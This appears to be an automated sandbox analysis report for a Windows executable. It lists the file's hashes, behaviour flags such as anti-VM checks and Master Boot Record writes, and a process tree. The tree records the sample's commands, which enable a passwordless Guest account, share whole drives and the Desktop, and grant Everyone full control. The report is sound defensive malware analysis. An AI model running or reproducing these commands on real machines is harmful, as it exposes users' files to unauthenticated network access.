Analysis

  • max time kernel
    135s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/05/2024, 07:53

General

  • Target

    f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe

  • Size

    3.3MB

  • MD5

    51e442e27e653595685490dc7c7855a5

  • SHA1

    35106601e646459da88b75c2b8058ebbf745f957

  • SHA256

    f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7

  • SHA512

    95742561022003be9bfbdaa1e9c15d77d2b75273f9965174d819490d362c54eea358e99c5b94e09f5c41c1399caa893afea2f2e90ce9d6209611248f54cfc27d

  • SSDEEP

    98304:NQOH5raw1GoHKqUifIwY/L4a3X62BcFOg/9MRhM6+baj:NH3BHKqUaS/LO2BM9MDMF

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Runs .reg file with regedit 1 IoCs
  • Runs net.exe
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe
    "C:\Users\Admin\AppData\Local\Temp\f5358c38641466c06cdd819a8f69eb93d208c3a9f222221cc7c6e0cf0ebbdfe7.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Writes to the Master Boot Record (MBR)
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4932
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\¿ªÆô¹²Ïí.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2996
      • C:\Windows\SysWOW64\net.exe
        NET USER Guest /active:yes
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3816
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 USER Guest /active:yes
          4⤵
            PID:2092
        • C:\Windows\SysWOW64\net.exe
          NET USER Guest /passwordreq:no
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1224
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 USER Guest /passwordreq:no
            4⤵
              PID:1688
          • C:\Windows\SysWOW64\SecEdit.exe
            Secedit /configure /cfg "security.inf" /db secsetup.sdb /areas USER_RIGHTS /verbose
            3⤵
              PID:1228
            • C:\Windows\SysWOW64\net.exe
              net user guest /active:yes
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3224
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 user guest /active:yes
                4⤵
                  PID:1300
              • C:\Windows\SysWOW64\net.exe
                net user guest ""
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2812
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 user guest ""
                  4⤵
                    PID:2356
                • C:\Windows\SysWOW64\regedit.exe
                  regedit /s ┐¬╞⌠╣▓╧φ.reg
                  3⤵
                  • Runs .reg file with regedit
                  PID:4928
              • C:\Windows\SysWOW64\net.exe
                net start workstation
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3924
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start workstation
                  3⤵
                    PID:4352
                • C:\Windows\SysWOW64\net.exe
                  net start "Computer Browser"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:932
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start "Computer Browser"
                    3⤵
                      PID:2524
                  • C:\Windows\SysWOW64\net.exe
                    net start server
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3188
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 start server
                      3⤵
                        PID:3596
                    • C:\Windows\SysWOW64\net.exe
                      net start netbios
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3848
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 start netbios
                        3⤵
                          PID:3768
                      • C:\Windows\SysWOW64\net.exe
                        net share ±¾µØ£¨CÅÌ)=C:\
                        2⤵
                          PID:2652
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 share ±¾µØ£¨CÅÌ)=C:\
                            3⤵
                              PID:1712
                          • C:\Windows\SysWOW64\net.exe
                            net share ±¾µØ£¨DÅÌ)=D:\
                            2⤵
                              PID:3140
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 share ±¾µØ£¨DÅÌ)=D:\
                                3⤵
                                  PID:1940
                              • C:\Windows\SysWOW64\net.exe
                                net share ±¾µØ£¨FÅÌ)=F:\
                                2⤵
                                  PID:5048
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 share ±¾µØ£¨FÅÌ)=F:\
                                    3⤵
                                      PID:1076
                                  • C:\Windows\SysWOW64\net.exe
                                    net share ÎïÀíÖ÷»ú×ÀÃæ=C:\Users\Admin\Desktop
                                    2⤵
                                      PID:1180
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 share ÎïÀíÖ÷»ú×ÀÃæ=C:\Users\Admin\Desktop
                                        3⤵
                                          PID:664
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls C:\Users\Admin\Desktop /e /t /g everyone:F
                                        2⤵
                                          PID:1436

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

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                                            Downloads

                                            • C:\Users\Admin\AppData\Local\Temp\¿ªÆô¹²Ïí.bat

                                              Filesize

                                              242B

                                              MD5

                                              80f0e65f938e3259b19f89241858ae23

                                              SHA1

                                              f6d463a58007cc20b70988563c49b3410e68e92b

                                              SHA256

                                              49b26f11aa955b7db4acc775b09476638525772c1a09e7c31dfdca19f6973dba

                                              SHA512

                                              d51279e860cf401cba03c90d4edea4cfe408725b6a8737cfc3c63110f7f13f63f52ed350c2e79d1a287172d8c77d6a7dc658a1ac1d4867504a886aa108501d95

                                            • memory/4932-0-0x0000000000400000-0x0000000000C6A000-memory.dmp

                                              Filesize

                                              8.4MB

                                            • memory/4932-2-0x0000000000400000-0x0000000000C6A000-memory.dmp

                                              Filesize

                                              8.4MB

                                            • memory/4932-4-0x0000000000400000-0x0000000000C6A000-memory.dmp

                                              Filesize

                                              8.4MB

                                            • memory/4932-3-0x0000000000400000-0x0000000000C6A000-memory.dmp

                                              Filesize

                                              8.4MB

                                            • memory/4932-12-0x0000000000400000-0x0000000000C6A000-memory.dmp

                                              Filesize

                                              8.4MB